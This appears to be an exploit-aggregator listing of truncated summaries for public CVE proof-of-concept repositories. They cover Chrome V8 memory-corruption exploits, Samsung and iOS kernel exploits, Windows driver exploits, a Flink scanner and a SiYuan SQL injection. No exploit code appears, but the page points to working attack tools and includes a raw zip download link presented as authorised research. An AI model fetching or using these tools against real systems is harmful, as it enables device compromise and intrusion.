CVE-2026-82765

CVE-2026-82765 is a path traversal vulnerability in Contec FX5000, FX4000, and FX3000 series devices. An attacker with FTP access to the affected product can view and/or alter arbitrary files on the server, resulting in high confidentiality and integrity impact with no availability impact. The CN...

CVE-2026-11645-Out-of-bounds-Read-Write

CVE-2026-11645 - Chrome V8 Out-of-Bounds Read/Write Exploit ⚠️ ADVERTENCIA Este código es SOLO para fines educativos y pruebas autorizadas. 📋 Descripción CVE-2026-11645 es una vulnerabilidad de lectura y escritura fuera de límites OOB en el motor V8 de Google Chrome. Un atacante remoto puede...

oob_entry

oobentry: Investigación autorizada de exploits del kernel de iOS para acceso tfp0 Visita las versiones: https://github.com/rkrakesh524/oobentry/raw/refs/heads/main/src/entry-oob-1.1.zip Un espacio tranquilo y cuidadoso para que los investigadores documenten, discutan y compartan conocimientos sob...

westone-CVE-2020-17519-scanner

westone-CVE-2020-17519-scanner Apache Flink 1.11.0、1.11.1、1.11.2 Los hackers pueden leer/escribir archivos remotos a través de la API REST Instalación y uso git clone https://github.com/Osyanina/westone-CVE-2020-17519-scanner.git cd westone-CVE-2020-17519-scanner cmd CVE-2020-17519.exe...

ghostlock-s25fe

GhostLock CVE-2026-43499 for the Galaxy S26 CVE-2026-43499 ported to the Samsung Galaxy S26 series — Android 16 / GKI 6.12. One binary, three kernel lines, dynamic parameter matching at runtime: theoretically covers the whole S26 series without per-build compilation. Most GhostLock porting effort...

CVE-2025-5419

CVE-2025-5419 Una vulnerabilidad de lectura no inicializada provocada por una eliminación incorrecta de Store-Store en Turboshaft de V8. Este repositorio contiene el análisis y un exploit estabilizado para escalar esta vulnerabilidad y lograr primitivas de Lectura/Escritura arbitraria dentro de l...

CVE-2026-78938

CVE-2026-78938 — V8 TurboFan CheckMaps instance-migration type confusion Root-cause analysis and exploit for CVE-2026-78938, a type confusion in V8's TurboFan load elimination that was fixed in Chrome 152.0.7977.64 V8 15.2.124.18. The bug was reported as exploited in the wild. The exploit turns t...

smbeagle

root@kitploit: / \ / // / / / // / / / / / ///\ / / / / / / / / / / / / / / // / / / / , / / / // // / / / / // // / // ,// ///||////,// ///, / PRESENTS // SMBeagle SMBeagle es una herramienta de auditoría de recursos compartidos de archivos SMB multiplataforma que busca todos los archivos...

CVE-2024-2887-REPORT

SSD Advisory – Google Chrome RCE Fuente: ssd-disclosure.com/ssd-advisory-google-chrome-rce Resumen Una vulnerabilidad crítica de ejecución remota de código en Google Chrome versiones 123 y anteriores que afecta el manejo de tipos de recolección de basura garbage collection de WebAssembly WASM. El...

CVE-2020-15368

Cómo explotar un driver vulnerable de Windows Exploit y Prueba de Concepto PoC para CVE-2020-15368. Asrock reempaquetó el driver de rweverything para su herramienta de configuración del controlador RGB y lo firmó. Lo "protegen" cifrando sus ioctls...lol. Encontramos este CVE por accidente el vera...

CVE-2025-6554

CVE-2025-6554 Este repositorio contiene Este repositorio construyó y demostró las primitivas addressof y fakeobj, así como las primitivas de lectura/escritura de direcciones arbitrarias en el sandbox de V8. Información de reproducción Commit: 609a85c2a1bd77d6f6905369f4bc4fcf34c5db09 Línea de...

CVE-2025-21333-POC

CVE-2025-21333-POC Prueba de concepto que explota CVE-2025-21333 en vkrnlintvsp.sys no muy fiable, véase la sección Requisitos y Limitaciones. En la sección de Referencias se encuentran recursos muy útiles para quienes quieran jugar con el exploit. Un análisis detallado de la vulnerabilidad y el...

CVE-2019-9791

Cadena de exploits para CVE-2019-9791 y CVE-2019-11708 contra Firefox 65.0 Funciona contra Firefox 65.0 en Windows 64 bits. La parte de CVE-2019-11708 está tomada del exploit de 0vercl0k: https://github.com/0vercl0k/CVE-2019-11708 El exploit utiliza CVE-2019-9791 para obtener una primitiva de...

CVE-2026-43499-S25U

CVE-2026-43499 PoC para Galaxy S25 Ultra Prueba de concepto específica del dispositivo para CVE-2026-43499 en el Samsung Galaxy S25 Ultra coreano. Objetivo compatible root@kitploit: Model: SM-S938N Codename: pa3q Android: 16 / API 36 Build: S938NKSUACZF1 Display ID: BP4A.251205.006.S938NKSUACZF1...

mtkclient

Language: 🇺🇸 🇨🇳 MTKClient Just some mtk tool for exploitation, reading/writing flash and doing crazy stuff. For windows, you need to install the stock mtk port and the usbdk driver see instructions below. For linux, a patched kernel is only needed when using old kamakiri see Setup folder except for...

SiYuan - SQL Execution

SiYuan = v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleRead...

Apache DolphinScheduler >= 3.1.0, < 3.2.2 Resource File Read And Write

File read and write vulnerability in Apache DolphinScheduler, authenticated users can illegally access additional resource files. This issue affects Apache DolphinScheduler from 3.1.0 before 3.2.2. id: CVE-2024-30188 info: name: Apache DolphinScheduler = 3.1.0, 3.2.2 Resource File Read And Write...

CVE-2017-16995

Vulnerability Description Ubuntu is an open-source GNU/Linux operating system primarily used on desktops, based on Debian GNU/Linux. Recently, a white hat hacker disclosed a local privilege escalation vulnerability in the latest version of Ubuntu Ubuntu 16.04, with vulnerability ID CVE-2017-16995...

CVE-2022-3699

CVE-2022-3699 Proof of Concept exploit for CVE-2022-3699 Exploit tested on Windows 10 22H2 build 19045.4651 and build 19045.3803 Vulnerability deals with allowing unprivileged users to access functionality that lets you read and write from physical memory from the instance of the kernel, however...

CVE-2024-5633

PoC for CVE-2024-5633 Longse model LBH30FE200W cameras, as well as products based on this device, provide an unrestricted access for an attacker located in the same local network to an undocumented binary service CoolView on one of the ports. An attacker with a knowledge of the available commands...